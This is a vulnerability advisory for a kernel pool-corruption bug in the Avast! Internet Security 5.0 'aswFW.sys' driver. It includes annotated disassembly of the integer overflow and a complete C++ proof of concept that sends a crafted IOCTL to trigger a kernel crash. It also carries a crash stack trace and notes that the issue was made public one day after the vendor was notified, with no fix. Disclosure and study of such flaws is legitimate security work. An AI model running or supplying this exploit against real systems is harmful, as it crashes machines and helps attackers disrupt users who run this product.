+-------------------------------------------------------------------------------------+
| Avast! Internet Security 5.0 'aswFW.sys' kernel driver IOCTL Memory Pool Corruption |
+-------------------------------------------------------------------------------------+

Tested Platform: Avast! Internet Security 5.0 ( Korean Trial )
Affacted File info: 'aswFW.sys' 5.0.594.0
Type: Local
Impact: Denial Of Service ( kernel panic )
Vendor: http://www.avast.com
Author: x90c of InetCop Security ( x90c.org, geinblues@gmail.com )

======================
Vulnerability Summary:
======================
The IOCTL call 0x829C0964(IOCTL_ASWFW_COMM_PIDINFO_RESULTS) of 'aswFW.sys' kernel driver 
Shiped with 'Avast! Internet Security 5.0' uses the user controlled First 4 bytes value 
To allocate a NonPagedPool without any value range checking then an integer overrun occurs.

If 'aswFW.sys' received a first 4 bytes about to '0xFFFFFFFF' with an Irp then an invalid 
Sized Memory Pool allocated.

After the invalid allocation, the kernel driver copys user controlled buffer into 
'[allocated pool+84h]' with too large copy length '0FFFFFFFFh' then the Memory Pool corrupted.

=================
Technical Detail:
=================
.text:000114B0 ; int __stdcall sub_114B0(int, PIRP Irp)
[...]
.text:00011529    mov edi, [ebp+Irp] ; edi = Irp
[...]
.text:000115A9    mov edi, [edi+0Ch] ; edi = [edi+0Ch] ( User Controlled Buffer of Irp )
[...]
.text:000115CF    sub eax, 0Ch
.text:000115D2    jz short to_IOCTL_Request ; jump into (1)
[...]
.text:00011626 to_IOCTL_Request: ; <-- (1)
.text:00011626    mov eax, [ebx+0Ch] ; eax = IOCTL Code
[...]
.text:00011629    cmp eax, edx
.text:0001162B    jz to_ioctl_code_829C0964h ; IOCTL Code == 829C0964h ? jump into (2)
[...]
.text:000116BA to_ioctl_code_829C0964h: ; <-- (2)
.text:000116BA    call sub_18D68 ; returned 0.
.text:000116BF    test eax, eax
.text:000116C1    jz short loc_116E3 ; jump into (3)
[...]
.text:000116E3 loc_116E3: ; <-- (3)
[...]
.text:000116FC    push dword ptr [edi] ; [edi] = 0FFFFFFFF ( User Controlled Buffer of Irp )
.text:000116FE    push 0
.text:00011700    call NonPagedPool_alloc_1AB32 ; call (4) 
                                                ; kd> bl
						; 0 e b2d36700     0001 (0001) aswFW+0x1700
[...]
==============================================================================================
.text:0001AB32 NonPagedPool_alloc_1AB32 proc near ; <-- (4)
[...]
.text:0001AB37    mov eax, [ebp+0Ch] ; eax = 0FFFFFFFFh ( Second param )
.text:0001AB3A    push ebx
.text:0001AB3B    push 74527741h ; Tag
.text:0001AB40    add eax, 88h ; 0FFFFFFFFh + 88h ( 0x87, result of Integer Overrun )
.text:0001AB45    push eax ; Size to allocate ( 0x87 )
.text:0001AB46    push 0 ; PoolType ( 0 = NonPagedPool )
.text:0001AB48    call ds:ExAllocatePoolWithTag ; Invalid Memory Pool allocated.
.text:0001AB4E    mov ebx, eax ; ebx = eax
[...]
.text:0001AB7F    mov eax, ebx
.text:0001AB83    retn 8 ; return with an Invalid Memory Pool. return into (5)
==============================================================================================
   
// Integer Overrun.
_87bytes_NonPagedPool = ExAllocatePoolWithTag(0, 0xFFFFFFFF + 0x88, 0x74527741); 

.text:000116E3 loc_116E3:
[...]
.text:00011705    mov esi, eax ; <-- (5) esi = eax = Invalid Memory Pool.
.text:00011707    test esi, esi
.text:00011709    jz to_Epilog ; esi == 0 ?
[...]
.text:00011727    push dword ptr [edi] ; copy size == 0FFFFFFFFh ( too large )
.text:00011729    lea eax, [esi+84h] ; eax = [esi+84h] == [Invalid Memory Pool Allocated + 84h]
.text:0001172F    push edi ; src == User Controlled Buffer of Irp ( FFFFFFFF ... )
.text:00011730    push eax ; dest == eax
.text:00011731    call memcpy ; Memory Corruption Occurs.

// Memory Pool Corruption.
memcpy((_87bytes_NonPagedPool+0x84), User Controlled Buffer of Irp, 0xFFFFFFFF);

=================
Proof of Concept:
=================

[ avast_5.0_aswFW_poc.cpp ] --
#include "stdafx.h"
#include "windows.h"
#include "winioctl.h"
#include "stdio.h"

int main(void)
{
  HANDLE hFile = NULL;
  ULONG ioctl_code = 0;
  CHAR outBuf[32];
  CHAR rpt_inBuf[102400];
  DWORD dwRet = 0, ret = 0;

  hFile = CreateFile("\\\\.\\aswFW", FILE_SHARE_READ | FILE_SHARE_WRITE,
                     0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
                     NULL);
  if(hFile == INVALID_HANDLE_VALUE){
        fprintf(stderr, "failed to open 'aswFW.sys' kernel driver!\n");
	return(-1);
  } 

  rpt_inBuf[0] = '\xff'; // first 4 byte wiil uses calculate 
  rpt_inBuf[1] = '\xff'; // allication size of ExAllocatePoolWithTag.
  rpt_inBuf[2] = '\xff'; // and it is [Irp+0Ch] as User Controlled Buffer.
  rpt_inBuf[3] = '\xff';
  memset((rpt_inBuf+4), 0xff, 102394);

  // IOCTL Code = 0x829C0964 ( IOCTL_ASWFW_COMM_PIDINFO_RESULTS )
  // ( another IOCTL Code also vulnerable )
  ret = DeviceIoControl(hFile, 0x829C0964,
        (PVOID)rpt_inBuf, 102398, outBuf, 32, &dwRet, NULL); 

  return 0;
}
// -- eoc --

===============
Exploitability:
===============
It's hard to exploit because 'too large copy length'. I saw *once eip register pointers 
At 0x1000 but the controlling eip register is not consistent. ( DoS )
--
STACK_TEXT:  
f8ac5944 804f9bad 00000003 f8ac5ca0 00000000 nt!RtlpBreakWithStatusInstruction
f8ac5990 804fa79a 00000003 00001000 00001000 nt!KiBugCheckDebugBreak+0x19
f8ac5d70 805426bb 0000000a 00001000 00000009 nt!KeBugCheck2+0x574
f8ac5d70 00001000 0000000a 00001000 00000009 nt!KiTrap0E+0x233
WARNING: Frame IP not in any known module. Following frames may be wrong.
f8ac5e00 f871bf6c 00000001 00000200 0000011c 0x1000
f8ac5e58 8054357d 81d6fd98 81e72af8 00010009 i8042prt!I8042KeyboardInterruptService+0x100
f8ac5e58 804fcd56 81d6fd98 81e72af8 00010009 nt!KiInterruptDispatch+0x3d
f8ac5f00 f8502ab6 81da5b60 0006bd78 81da5bb8 nt!KeRemoveByKeyDeviceQueue+0x2e
f8ac5f20 f850423b 81daa0e8 81da5bb8 81da5c60 atapi!GetNextLuRequest+0x7c
f8ac5f54 f8504c8e 81df7e70 81da5c60 f8ac5fcf atapi!IdeProcessCompletedRequest+0x1a3
f8ac5fd0 80543bbd 81daa0a4 81daa030 00000000 atapi!IdePortCompletionDpc+0x204
f8ac5ff4 8054388a b20e7b44 00000000 00000000 nt!KiRetireDpcList+0x46
f8ac5ff8 b20e7b44 00000000 00000000 00000000 nt!KiDispatchInterrupt+0x2a
8054388a 00000000 00000009 bb835675 00000128 0xb20e7b44
--

=========
Solution:
=========
Not yet.

==============
Vendor Status:
==============
2010/08/02 - Vendor notified.
2010/08/03 - Public Disclosed.